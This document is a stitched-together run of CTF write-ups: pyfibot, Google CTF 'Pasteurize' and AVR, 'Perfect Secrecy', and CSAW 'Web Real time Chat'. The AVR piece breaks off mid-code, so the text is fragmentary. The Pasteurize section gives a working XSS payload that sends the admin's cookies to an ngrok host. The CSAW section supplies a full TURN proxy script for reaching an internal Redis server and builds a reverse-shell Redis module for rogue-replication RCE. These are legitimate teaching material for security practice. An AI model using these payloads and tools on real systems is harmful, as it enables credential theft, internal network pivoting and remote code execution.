Checking out the [github project](https://github.com/lepinkainen/pyfibot) of pyfibot we notice that readfile, storefile and giveflag do not seem to be default functionalities (any more?).
But we observe that the directory structure might be ````pyfibot/modules/module_<<name>>.py````. So this should be what we try to get via the readflag directory traversal:
And in the code we find the PW + the Flag:
````ALLES{0ld_sch0ol_1rc_was_sooooo0_c00l!4857}```` 
Notifying the team in threema and recognizing with a look at the timestamp that destiny exists :P |
# Pasteurize
Most up to date version at https://github.com/zoeyg/public-write-ups/blob/master/googlectf-2020/pasteurize.md
## Enumeration
Looking at the site, it looks as if there's a place to enter the contents for a paste. You can then visit the paste. On the viewing page there's a link tosend the note to TJMike, the administrator. The source of the create/index page has a hidden link to `/source` and it gives us the source for the main server file.
```html<body> <nav class="navbar navbar-expand-md navbar-light bg-light"> <div class="collapse navbar-collapse mr-auto"> Pasteurize </div></nav> <div class="container w-50 pt-5"> <h3>Create new paste</h3> <form class="form" method="post"> <textarea class="form-control" name="content"></textarea> <input type="submit" class="mt-3 btn btn-primary btn-block" value="Submit"> </form>
</div> Source </body>```
Looking at the source of the view page, it seems that the contents of our paste is injected into the javascript of the page, and then that text is runthrough DOMPurify, before being inserted into the DOM.
```html <script> const note = "CONTENTS_OF_NOTE_GOES_HERE"; const note_id = "43ce8abb-7c84-43da-9fc4-07732bab30aa"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/${note_id}`; note_url_el.innerHTML = `${note_id}`; </script>```
Lets see if we can escape quotes around the note variable by looking at the server source.
### Server Source
The first thing that stands out in the source is the extended body parser
```js/* They say reCAPTCHA needs those. But does it? */app.use(bodyParser.urlencoded({ extended: true}));```
This means we can send arrays and objects as the content. Looking at the `POST /` route we see the note is inserted into a `Datastore` without much processing.Looking at the code to retrieve the note we see that it's sanitized somewhat before being embedded into a view template.
```jsconst escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```
First the value is stringified into JSON, which will escape a lot of control characters. Then the first and last characters are removed via slice, and then less than and greater thancharacters are escaped. If we can pass this function an array with a string in it, after stringification it should look like `["value goes here"]`, then the brackets will be removed.So we should be able to inject a payload if we don't use characters that are escaped in JSON.
## Testing
To test our assumptions lets create a note using `content[]=value` as the note content.
```sh╭─zoey@virtual-parrot ~/sec ‹master*› ╰─$ curl https://pasteurize.web.ctfcompetition.com --data-raw "content[]=value"Found. Redirecting to /d43840ea-ed52-440e-8c01-8733d6ab3be7```
And when we check the rendered note, in the source we see the following:
```html<script> const note = ""value""; const note_id = "d43840ea-ed52-440e-8c01-8733d6ab3be7"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/${note_id}`; note_url_el.innerHTML = `${note_id}`;</script>```
Our assumptions worked, but the above is not valid javascript. So lets craft a payload to try to do the usual thing, which is trying to retrieve the admin's cookies, and we need to do it without using any characters that would be escaped by `JSON.stringify`.
## Exploiting
First lets end the statement with `;`, and then lets encode `document.cookie`, and send it to our own server. For the URL string we'll use backticks since they aren't escaped. We'll also need to take care of the trailing quote, and to do that we just need to ensure we end the payload with a semicolon as an empty string on its own is valid javascript. So our payload ends up looking like the following:
```js;fetch(`https://0853395be8b7.ngrok.io/` + btoa(document.cookie));```
and when rendered into the page we should get:
```html<script> const note = "";fetch(`https://0853395be8b7.ngrok.io/` + btoa(document.cookie));""; const note_id = "d43840ea-ed52-440e-8c01-8733d6ab3be7"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/${note_id}`; note_url_el.innerHTML = `${note_id}`;</script>```
Let's fire up ngrok and our own local http server, and then create the note with the payload via curl. Be sureto url encode the + so it doesn't end up as a space.
```sh╭─zoey@virtual-parrot ~/sec ‹master*› ╰─$ curl https://pasteurize.web.ctfcompetition.com --data 'content[]=;fetch(`https://0b7660a35154.ngrok.io/`%2Bbtoa(document.cookie));'Found. Redirecting to /a536d492-4d6f-4d42-b1b5-5a28216e2cd9 ```
Now lets visit our new note in the browser and share it to the admin. If everything worked properly we should get the following request sent to our server:
```http GET /c2VjcmV0PUNURntFeHByZXNzX3QwX1RyMHVibDNzfQ== Host: 0b7660a35154.ngrok.io Pragma: no-cache Cache-Control: no-cache sec-ch-ua: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36 Accept: */* Origin: https://pasteurize.web.ctfcompetition.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pasteurize.web.ctfcompetition.com/a536d492-4d6f-4d42-b1b5-5a28216e2cd9 Accept-Encoding: gzip, deflate, br X-Forwarded-Proto: https X-Forwarded-For: 104.155.55.51```
Then when we decode the base64 we get `secret=CTF{Express_t0_Tr0ubl3s}`. |
# Google CTF 2020 AVR writeup
By: David Rimon & Roy Hoffman @Shablul team.
## Part 1
This is a writeup for the hardware AVR challenge in Google CTF 2020.
The challenge is about breaking the security of a system running on Atmega328p chip.
**Note** for the second part of the challenge, jump for part 2.
The challenge begins with the following message:
Downloading the attachments we get the following files:
1. `code.c` - The code of the device we want to hack. This is the file that interests us.2. `simduino.elf`, `code.hex` - files needed for simulating the system locally on your pc.3. `Makefile`, `simavr_diff` - files needed for downloading and compiling the simulator from the source.
Lets take a look at `code.c`
The code starts with some data initializing and definition.
```c#undef F_CPU#define F_CPU 1000000UL
#include <avr/io.h>#include <avr/sleep.h>#include <avr/interrupt.h>#include <util/delay.h>#include <avr/cpufunc.h>#include <stdio.h>#include <string.h>
#define BAUD 125000UL#include <util/setbaud.h>
#ifndef PASS1#define PASS1 "PASSWORD_REDACTED_XYZ"#endif
#ifndef PASS2#define PASS2 "TOPSECRET_PASSWORD_ALSO_REDACTED_TOPSECRET"#endif
#ifndef FLAG#define FLAG "CTF{_REAL_FLAG_IS_ON_THE_SERVER_}"#endif
const char* correctpass = PASS1;const char* top_secret_password = PASS2;const char* top_secret_data = "INTELLIGENCE REPORT:\n" "FLAG CAPTURED FROM ENEMY.\n" "FLAG IS " FLAG ".";
char buf[512];char secret[256] = "Operation SIERRA TANGO ROMEO:\n" "Radio frequency: 13.37MHz\n" "Received message: ATTACK AT DAWN\n";char timer_status[16] = "off";
volatile char logged_in;int top_secret_index;
```
Next there are some functions defined to interact with the device's uart port. UART is basic IO method to interact with embedded devices. Read more at: https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter
```cvolatile char uart_ready;ISR(USART_RX_vect) { uart_ready = 1;}
void uart_init(void) { UBRR0H = UBRRH_VALUE; UBRR0L = UBRRL_VALUE;
UCSR0C = (1<<UCSZ01) | (1<<UCSZ00); UCSR0B = (1<<RXEN0) | (1<<TXEN0) | (1<<RXCIE0);}
static int uart_getchar(FILE* stream) { while (1) { cli(); if (!uart_ready) { sleep_enable(); sei(); sleep_cpu(); sleep_disable(); } cli(); if (uart_ready) { uart_ready = 0; unsigned int c = UDR0; sei(); return c; } sei(); }}
static int uart_putchar(char c, FILE* stream) { loop_until_bit_is_set(UCSR0A, UDRE0); UDR0 = c; return 0;}static FILE uart = FDEV_SETUP_STREAM(uart_putchar, uart_getchar, _FDEV_SETUP_RW);
```
Lest work from the bottom up.
The developers here wanted to make a simple way to use the UART in a similar way to `stdin` and `stdout` (as we soon will se in the `main` function). To do that, they define a `FILE` object named `uart`, and defined specific functions for reading and writing characters.
The function `uart_puchar` is for outputting a character, and `uart_getchar` is for reading one.
I will talk about `cli` and `sei` functions at the end of this writeup.
`uart_init` is for initializing the UART port - defining speed, digits, and receive interrupt, which is defended by `ISR(USART_RX_vect) `. All the interrupt does is signaling that there is more input to get by setting the `uart_ready` variable to 1.
(For the sake of clarity, in this part I`m not showing the functions in the same order in the file)
```cvoid quit() { printf("Quitting...\n"); _delay_ms(100); cli(); sleep_enable(); sleep_cpu(); while (1);}void read_data(char* buf) { scanf("%200s", buf);}
void print_timer_status() { printf("Timer: %s.\n", timer_status);}
```
The function `quit` is used, well, for getting a one million dollar prize!
Nahh not really. Its used to exiting the program. Really, promise.
`read_data` and `print_timer_status` are used to hunt little puppies in the forest.
```cvolatile uint32_t overflow_count;uint32_t get_time() { uint32_t t; cli(); t = (overflow_count << 16) + TCNT1; sei(); return t;}
void timer_on_off(char enable) { overflow_count = 0; strcpy(timer_status, enable ? "on" : "off"); if (enable) { TCCR1B = (1<<CS10); sei(); } else { TCCR1B = 0; }}
ISR(TIMER1_OVF_vect) { if (!logged_in) { overflow_count++; // Allow ten seconds. if (overflow_count >= ((10*F_CPU)>>16)) { printf("Timed out logging in.\n"); quit(); } } else { // If logged in, timer is used to securely copy top secret data. secret[top_secret_index] = top_secret_data[top_secret_index]; timer_on_off(top_secret_data[top_secret_index]); top_secret_index++; }}
```
First, you need to understand how timers work on AVR, see these links:
https://exploreembedded.com/wiki/AVR_Timer_programminghttp://maxembedded.com/2011/06/introduction-to-avr-timers/
`timer_on_off` function is used to start a timer. On Atmega chip, to start a timer we need to set the `TCC1B` register to value that will tell the system timer how fast to run.
`get_time` will measure the current time by checking the the `overflow_count` which specifies how many timer overflows we had by now, essentially meaning how much time has passed since we started the timer.
`ISR(TIMER1_OVF_vect)` is the timer interrupt handler - every time we hit timer overflow, this handler will be called.
If we are not logged in to the system (we will soon see how we do), then the `overflow_count` will increase, until it passed a certain limit (representing about 10 seconds), and will quit the program.
we will talk about the `else ` clause later on.
lets stat with the `main` function. This is the first half.
```cint main() { uart_init(); stdout = &uart; stdin = &uart;
TCCR1A = 0; TIMSK1 = (1< |
# Perfect Secrecy
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Python
# Source
- [image1.png](./image1.png)- [image2.png](./image2.png)
```Alice sent over a couple of images with sensitive information to Bob, encrypted with a pre-shared key. It is the most secure encryption scheme, theoretically...```
# Exploitation
This challenge took a bit of guessing, but if you XOR every pixel from `image1` with every pixel from `image2` and save that image, you get the [result.png](./result.png) image which has a base64 string that can be decoded to get the flag.
You can get the image using:
```pyfrom PIL import Imageimport numpy as np
def read_image(imPath): im = Image.open(imPath)
pix_val = list(map(lambda x: int(x != 0), im.getdata())) return pix_val
data1 = read_image('image1.png')data2 = read_image('image2.png')
res = [None] * len(data1)
for i in range(len(res)): if data1[i] ^ data2[i] == 1: res[i] = 1 else: res[i] = 0
array = np.array(res, dtype=np.uint8)im = np.reshape(array,(256,256))
img = Image.fromarray(np.uint8(im * 255) , 'L')img.save('./result.png')
print('Written successfully.')
"""echo ZmxhZ3swbjNfdDFtM19QQGQhfQ== | base64 -dflag{0n3_t1m3_P@d!}"""```
Once you get this, you can decode the base64 string with the help of `base64` in linux.
```bashecho ZmxhZ3swbjNfdDFtM19QQGQhfQ== | base64 -dflag{0n3_t1m3_P@d!}```
The flag is:
```flag{0n3_t1m3_P@d!}``` |
We were given two images, both containing black and white noise.Since it’s a crypto challege with low points, we guessed that it’s a simple XOR.
The quickest way to xor two images is with a command line one liner:
convert image1.png image2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" flag.png
You'll get an output as flag.png image
It contains flag in base64 decode it to get the flag. |
# Web Real time Chat
```I started playing around with some fancy new Web 3.1 technologies! This RTC tech looks cool, but there's a lot of setup to get it working... I hope it's all secure.
http://web.chal.csaw.io:4955```
Accompanying the description are 3 files, a `Dockerfile`, the main server `app.py`, and a `supervisord.conf`.
## Enumeration
Looking at the `Dockerfile` and `supervisord.conf`, there are three servers running. A redis server, which can't be reached externally, a flaskweb server running through gunicorn, and coturn.
### Web Server
The web server serves a single page with some javascript. It sets up webRTC(use Firefox) and uses it to send chat messages back andforth with a peer. If you access the page without a session id in the location hash, it will create one and give you a link toopen up a connection on another page. Opening that link you're able to send messages between the new page and the one that createdthe session.
#### rtc.js
Looking at the code in `rtc.js` we see the url and port for the turn server, and that the username and credentials are empty.
```jsconst iceConfiguration = { iceServers: [ { urls: 'turn:web.chal.csaw.io:3478', username: '', credential: '' } ] // Doesn't work to force relay only transport, something must be busted... //iceTransportPolicy: "relay"}```
#### app.py
This exposes the API and serves up the main page. It allows for creating and joining sessions, as well as some logging. Looking throughthe code shows that the redis server seems to have a default configuration. There don't seem to be any obvious flaws in it, so lets moveon to the TURN server.
### Coturn
TURN is Traversal Using Relay NAT. The repo at https://github.com/coturn/coturn states it's a "Free open source implementation of TURN and STUN Server." It basically serves as a middle-man/relay for the two peers that are both behind NATs. The description tells us it servesas a more general-purpose network traffic TURN server and gateway as well.
The description also contains a list of TURN and STUN RFCs, which will come in handy. The relevant ones being 5766, 5389, and 6062.
Doing some more research we realize that TURN servers can be used to proxy to the internal network if not properly configured.
https://hackerone.com/reports/333419
## TURN TCP Proxying
We now have a potential way to access the redis server. Reading the hackerone report we find the following
```To successfully proxy a TCP message to the internal network, the following steps were done (the target was slack-calls-orca-bru-kwd4.slack-core.com):
1. Send an allocate request message2. Receive an Unauthorized response with NONCE and REALM3. Send an allocate request with a valid MESSAGE-INTEGRITY by using NONE, REALM, USERNAME and PASSWORD4. Receive an allocate success response5. Send a Connect request with `XOR-PEER-ADDRESS` set to an internal IP and port6. Receive a Connect successful response7. Create a new data socket and send a ConnectionBind request8. Receive a ConnectionBind successful response9. Send and receive data proxied to internal destination```
It seems they used a tool called `stunner` but further research shows the tool isn't publicly available. After some searching, we didn't find much that allowed us to do what we wanted so decided we'd just code our own tool. It was pretty long and tedious, but ended up working. The process, from a high level, is detailed here https://tools.ietf.org/html/rfc6062#page-6.
### Going out of TURN
There was a lot of reading RFCs to construct the packets, and then using wireshark to investigate the packets being sent and received. STUN requests basically consist of a header that includes a message type, length, a magic cookie value, and a transaction id, and a series of attributes. Capturing a few packets from the site itself, sent by the browsers helped in deciphering the structure.
#### Allocation Request
According to the RFC, the first of three requests we need is an allocation request. The following code should build it.
```pythonCONNECTBIND_REQUEST = b'\x00\x0b'CONNECT_REQUEST = b'\x00\x0a'ALLOCATE_REQUEST = b'\x00\x03'REQUESTED_TRANSPORT = b'\x00\x19'TCP=b'\x06'UDP=b'\x11' #17COOKIE=b'\x21\x12\xA4\x42'LIFETIME=b'\x00\x0D'XOR_RELAYED_ADDRESS=b'\x00\x16'XOR_MAPPED_ADDRESS=b'\x00\x20'XOR_PEER_ADDRESS=b'\x00\x12'SOFTWARE=b'\x80\x22'CONNECTION_ID=b'\x00\x2a'
def gen_tran_id(): return binascii.unhexlify(''.join(random.choice('0123456789ABCDEF') for i in range(24)))
def build_allocate_request():
attributes = REQUESTED_TRANSPORT attributes += b'\x00\x04' #length attributes += TCP attributes += b'\x00\x00\x00' #reserved?
attributes += LIFETIME attributes += b'\x00\x04' # length attributes += b'\x00\x00\x0e\x10' # 3600
attr_len = len(attributes) attr_len = attr_len.to_bytes(2, 'big')
header = ALLOCATE_REQUEST header += attr_len header += COOKIE txnId = gen_tran_id() header += txnId print('generated txn id', binascii.hexlify(txnId))
return header + attributes```
Then we need some code to send and receive the request, as well as parse the response. Wireshark and the RFCs coming in handy again while trying to troubleshoot. The attributes have a pattern of type, length, and then value. The allocation request basically requests a TCPconnection, and specifies how long it should live for.
```pythonHOST = '216.165.2.41' # The server's hostname or IP addressPORT = 3478 # The port used by the server
def parse_response(data): print('Message Type', data[0:2])
msg_len = int.from_bytes(data[2:4], "big") print('Length', msg_len)
cookie = data[4:8] print('Cookie', binascii.hexlify(cookie))
txn_id = data[8:20] print('txn ID', binascii.hexlify(txn_id))
attributes = data[20:20+msg_len] idx = 0 while(idx < len(attributes)): attr_type = attributes[idx:idx+2] idx += 2 attr_len = int.from_bytes(attributes[idx:idx+2], "big") idx += 2 value = attributes[idx:idx+attr_len] idx += attr_len if (attr_type == XOR_MAPPED_ADDRESS): print('attibute type XOR-MAPPED-ADDRESS') port = value[2:4] port0 = (port[0] ^ COOKIE[0]).to_bytes(1, byteorder='big') port0 += (port[1] ^ COOKIE[1]).to_bytes(1, byteorder='big') print('port', int.from_bytes(port0, "big")) ip = xor_addr_to_ip(value[4:]) print('ip', ip) print('value', binascii.hexlify(value))
elif (attr_type == XOR_RELAYED_ADDRESS): print('attribute type XOR-RELAYED-ADDRESS') port = value[2:4] port0 = (port[0] ^ COOKIE[0]).to_bytes(1, byteorder='big') port0 += (port[1] ^ COOKIE[1]).to_bytes(1, byteorder='big') print('port', int.from_bytes(port0, "big")) ip = xor_addr_to_ip(value[4:]) print('ip', ip) print('value', binascii.hexlify(value))
elif (attr_type == LIFETIME): print('attribute type LIFETIME') print('value', int.from_bytes(value, "big"))
elif (attr_type == SOFTWARE): print('attribute type SOFTWARE') print('value', value.decode('ascii'))
elif (attr_type == CONNECTION_ID): print('attribute type CONNECTION_ID') print('value', value) return value
else: print('attribute type', binascii.hexlify(attr_type)) print('length', attr_len) print('value', binascii.hexlify(value))
# Allocation Requestcs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)cs.connect((HOST, PORT))cs.sendall(build_allocate_request())data = cs.recv(1024)
print('Raw Allocation Request Response', data)parse_response(data)print('\n\n')```
The trickiest part to parse are the address/port combinations, which have to be XORed against the magic cookie value. When we succesfully buildand send the first request we get the following response:
```generated txn id b'3ae8eebb809904c65ff84025'Raw Allocation Request Response b'\x01\x03\x00(!\x12\xa4B:\xe8\xee\xbb\x80\x99\x04\xc6_\xf8@%\x00\x16\x00\x08\x00\x01\x9e\xd0\x8d\x03\xa4A\x00 \x00\x08\x00\x01z\xec\xa9\n\xf3$\x00\r\x00\x04\x00\x00\x0e\x10\x80"\x00\x04None'Message Type b'\x01\x03'Length 40Cookie b'2112a442'txn ID b'3ae8eebb809904c65ff84025'attribute type XOR-RELAYED-ADDRESSport 49090ip 172.17.0.3value b'00019ed08d03a441'attibute type XOR-MAPPED-ADDRESSport 23550ip 136.24.87.102value b'00017aeca90af324'attribute type LIFETIMEvalue 3600attribute type SOFTWAREvalue None```
Great, our allocation response has worked, and it has two addresses it mentions. The `XOR-RELAYED-ADDRESS` of `172.17.0.3` seems to indicatethat it's the docker container address, and the other ip is our WAN ip.
#### Connect Request (First Attempt)
The next request in the setup is a connect request. Here we specify the `XOR-PEER-ADDRESS` as localhost, and the default redis port of 6379,to see if we can proxy to it. We can build the STUN request with the following:
```pythondef build_connect_request():
attributes = XOR_PEER_ADDRESS attributes += b'\x00\x08' #length attributes += b'\x00\x01' #ipv4 = 0x01 attributes += b'\x39\xf9' # 6379 -> 0x18eb ^ 0x2112 -> 0x39f9 attributes += b'\x5e\x12\xa4\x43' # 127.0.0.1 -> 0x7F000001 ^ 0x2112A442 -> 0x5e12a443 attr_len = len(attributes) attr_len = attr_len.to_bytes(2, 'big')
header = CONNECT_REQUEST header += attr_len header += COOKIE txnId = gen_tran_id() header += txnId print('generated txn id', binascii.hexlify(txnId))
return header + attributes```
We then need to send the request and process the response:
```python# Connect Requestcs.sendall(build_connect_request())data = cs.recv(1024)
print('Raw Connect Request Response', data)connection_id = parse_response(data)print('\n\n')```
If done properly, we should get a success response with a connection id that we need for the following request. Lets see what happens.
```generated txn id b'27706f2772e2fc069fb41a04'Raw Connect Request Response b'\x01\x1a\x00\x1c!\x12\xa4B\'po\'r\xe2\xfc\x06\x9f\xb4\x1a\x04\x00\t\x00\x10\x00\x00\x04\x03Forbidden IP\x80"\x00\x04None'Message Type b'\x01\x1a'Length 28Cookie b'2112a442'txn ID b'27706f2772e2fc069fb41a04'attribute type b'0009'length 16value b'00000403466f7262696464656e204950'attribute type SOFTWAREvalue None
Traceback (most recent call last): File "./redis-proxy.py", line 229, in <module> ds.sendall(build_connectbind_request(connection_id)) File "./redis-proxy.py", line 134, in build_connectbind_request attributes += connection_idTypeError: can't concat NoneType to bytes```
Uh-oh, looking at the raw request output, and checking the packet in wireshark, we see that the IP address is forbidden, and we didn't get ourconnection id that we needed. Looks like we'll need to try something else.
#### Connect Request (Second Attempt)
So we know the docker subnet from the relay address in the allocation request. Perhaps we can use that ip instead in order to access theredis server. Lets modify our build function and give it a go
```pythondef build_connect_request():
attributes = XOR_PEER_ADDRESS attributes += b'\x00\x08' #length attributes += b'\x00\x01' #ipv4 = 0x01 attributes += b'\x39\xf9' # 6379 -> 0x18eb ^ 0x2112 -> 0x39f9 attributes += b'\x8d\x03\xa4\x41' # 172.17.0.3 -> 0xAC110003 ^ 0x2112A442 -> 0x8d03a441 attr_len = len(attributes) attr_len = attr_len.to_bytes(2, 'big')
header = CONNECT_REQUEST header += attr_len header += COOKIE txnId = gen_tran_id() header += txnId print('generated txn id', binascii.hexlify(txnId))
return header + attributes```
And when we make our connect request attempt we get in response
```pythongenerated txn id b'c1535cf939a61b388496cbe0'Raw Connect Request Response b'\x01\n\x00\x08!\x12\xa4B\xc1S\\\xf99\xa6\x1b8\x84\x96\xcb\xe0\x00*\x00\x04\x87?\xd5\x11'Message Type b'\x01\n'Length 8Cookie b'2112a442'txn ID b'c1535cf939a61b388496cbe0'attribute type CONNECTION_IDvalue b'\x87?\xd5\x11'```
Success! We got our connection id.
#### ConnectionBind Request
The next request is the connection bind request. The previous two requests occurred on the same socket, the control socket. The connection bind request has to be sent on a new socket, and after the request, the socket becomes the proxy connection to redis. Lets check the RFCsand write some code to build our connection bind request.
```pythondef build_connectbind_request(connection_id):
attributes = CONNECTION_ID attributes += b'\x00\x04' #length attributes += connection_id attr_len = len(attributes) attr_len = attr_len.to_bytes(2, 'big')
header = CONNECTBIND_REQUEST header += attr_len header += COOKIE txnId = gen_tran_id() header += txnId print('generated txn id', binascii.hexlify(txnId))
return header + attributes```
If this works, the new socket should behave as if it were directly connected to redis. Lets setup some code to connect stdin/stdout tothe socket, then we can freely try commands.
```python# ConnectionBind Requestds = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ds.connect((HOST, PORT))ds.sendall(build_connectbind_request(connection_id))data = ds.recv(1024)
print('Raw ConnectionBind Request Response', data)parse_response(data)print('\n')
while 1: socket_list = [sys.stdin, ds] # Get the list sockets which are readable read_sockets, write_sockets, error_sockets = select.select(socket_list , [], []) for sock in read_sockets: #incoming message from remote server if sock == ds: data = sock.recv(4096) if not data : print('Connection closed') sys.exit() else : #print data sys.stdout.write(data.decode('ascii')) #user entered a message else : msg = sys.stdin.readline() ds.send(msg.encode('ascii'))```
Lets run it and see how things go.
```generated txn id b'94f5b75dd0ef28dde4622cf8'Raw ConnectionBind Request Response b'\x01\x0b\x00\x08!\x12\xa4B\x94\xf5\xb7]\xd0\xef(\xdd\xe4b,\xf8\x80"\x00\x04None'Message Type b'\x01\x0b'Length 8Cookie b'2112a442'txn ID b'94f5b75dd0ef28dde4622cf8'attribute type SOFTWAREvalue None
KEYS **0```
We type `KEYS *` and get a response, success! We now have a connection that behaves as if we have used telnet to connect a redis server. Eventually the connection gets reset, and this may either be due to a restart mechanism on the server, or a lack of refresh requests onthe control socket. Either way, it stays open long enough we can get done pretty much whatever we like. One thing of note, when closingthe control socket, it seemed the data socket connection also was reset.
## Redis
Now we move on to attacking redis. After attempting most of the options outlined on https://book.hacktricks.xyz/pentesting/6379-pentesting-redis, we ended up searching for other options. That's when we came across the following link https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0. This blog outlines a pretty cool technique that utilizes components of previous techniques and some clever syncing betweenmaster and replica to load a custom module. There are a few ingredients.
First is that redis servers can be either replicas or masters. The replica acts as a read-only backup, and the master is responsible for writing. So we can make the vulnerable redis server a replica of our own. This means data from our own server will be synchronized to the replica.
Next is that redis allows for modules. These are binaries that expose functionality via adding new commands to redis. If we cancan call `LOAD MODULE /path/to/exploit.so` with a malicious module, we can do whatever we like. We only need to get the modulefile to replica.
Thirdly, it's possible to change the dbfilename and directory in the redis configuration at run time via `CONFIG SET dbfilename /path/to/exploit.so`, and `CONFIG SET DIR /tmp`. Then, when redis saves the current data to file, we can get arbitrary writes to file. This can be initiated by a `PSYNC` command, and then transferring the payload to the replica.
Putting it together, we slave the target to our own server, configure the database filename, replicate the payload as data via sync, andthen our payload ends up as a file on the target system. After that we load the module and use our new commands.
Thankfully there is existing code for this: https://github.com/LoRexxar/redis-rogue-server. This script acts as a rogue redisserver and does most of the hard work for us. We only need to provide it the connection to the target server and a payload. The readmefor this repo mentions another repo(https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), which will allow you to build a module that adds a `system.exec` command to redis. It looks like we have all the ingredients, lets start putting it together.
### The Payload
All we really need to do here is clone the repo and run make, and although the compilation throws a few warnings, we have our payload.
```sh╭─zoey@virtual-parrot ~/sec/csaw/webrtc ‹master*› ╰─$ git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.gitCloning into 'RedisModules-ExecuteCommand'...remote: Enumerating objects: 494, done.remote: Total 494 (delta 0), reused 0 (delta 0), pack-reused 494Receiving objects: 100% (494/494), 207.79 KiB | 2.70 MiB/s, done.Resolving deltas: 100% (284/284), done.╭─zoey@virtual-parrot ~/sec/csaw/webrtc ‹master*› ╰─$ cd RedisModules-ExecuteCommand ╭─zoey@virtual-parrot ~/sec/csaw/webrtc/RedisModules-ExecuteCommand ‹master› ╰─$ makemake -C ./srcmake[1]: Entering directory '/home/zoey/sec/csaw/webrtc/RedisModules-ExecuteCommand/src'make -C ../rmutilmake[2]: Entering directory '/home/zoey/sec/csaw/webrtc/RedisModules-ExecuteCommand/rmutil'gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o util.o util.cgcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o strings.o strings.cgcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o sds.o sds.cgcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o vector.o vector.cgcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o alloc.o alloc.cgcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o periodic.o periodic.car rcs librmutil.a util.o strings.o sds.o vector.o alloc.o periodic.omake[2]: Leaving directory '/home/zoey/sec/csaw/webrtc/RedisModules-ExecuteCommand/rmutil'gcc -I../ -Wall -g -fPIC -lc -lm -std=gnu99 -c -o module.o module.cmodule.c: In function ‘DoCommand’:module.c:16:29: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers] 16 | char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len); | ^~~~~~~~~~~~~~~~~~~~~~~~module.c:23:29: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration] 23 | if (strlen(buf) + strlen(output) >= size) { | ^~~~~~module.c:23:29: warning: incompatible implicit declaration of built-in function ‘strlen’module.c:11:1: note: include ‘<string.h>’ or provide a declaration of ‘strlen’ 10 | #include <netinet/in.h> +++ |+#include <string.h> 11 | module.c:27:25: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration] 27 | strcat(output, buf); | ^~~~~~module.c:27:25: warning: incompatible implicit declaration of built-in function ‘strcat’module.c:27:25: note: include ‘<string.h>’ or provide a declaration of ‘strcat’module.c:29:80: warning: incompatible implicit declaration of built-in function ‘strlen’ 29 | RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output)); | ^~~~~~module.c:29:80: note: include ‘<string.h>’ or provide a declaration of ‘strlen’module.c: In function ‘RevShellCommand’:module.c:41:14: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers] 41 | char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len); | ^~~~~~~~~~~~~~~~~~~~~~~~module.c:42:18: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers] 42 | char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len); | ^~~~~~~~~~~~~~~~~~~~~~~~module.c:48:24: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration] 48 | sa.sin_addr.s_addr = inet_addr(ip); | ^~~~~~~~~module.c:57:3: warning: null argument where non-null required (argument 2) [-Wnonnull] 57 | execve("/bin/sh", 0, 0); | ^~~~~~ld -o module.so module.o -shared -Bsymbolic -L../rmutil -lrmutil -lc make[1]: Leaving directory '/home/zoey/sec/csaw/webrtc/RedisModules-ExecuteCommand/src'cp ./src/module.so .╭─zoey@virtual-parrot ~/sec/csaw/webrtc/RedisModules-ExecuteCommand ‹master› ╰─$ ltotal 100Kdrwxr-xr-x 1 zoey zoey 164 Sep 13 21:06 .drwxr-xr-x 1 zoey zoey 418 Sep 13 21:06 ..-rw-r--r-- 1 zoey zoey 1.9K Sep 13 21:06 .clang-formatdrwxr-xr-x 1 zoey zoey 138 Sep 13 21:06 .git-rw-r--r-- 1 zoey zoey 45 Sep 13 21:06 .gitignore-rw-r--r-- 1 zoey zoey 1.1K Sep 13 21:06 LICENSE-rw-r--r-- 1 zoey zoey 472 Sep 13 21:06 Makefile-rwxr-xr-x 1 zoey zoey 47K Sep 13 21:06 module.so-rw-r--r-- 1 zoey zoey 598 Sep 13 21:06 README.md-rw-r--r-- 1 zoey zoey 29K Sep 13 21:06 redismodule.hdrwxr-xr-x 1 zoey zoey 588 Sep 13 21:06 rmutildrwxr-xr-x 1 zoey zoey 66 Sep 13 21:06 src```
### Rogue Server Modification
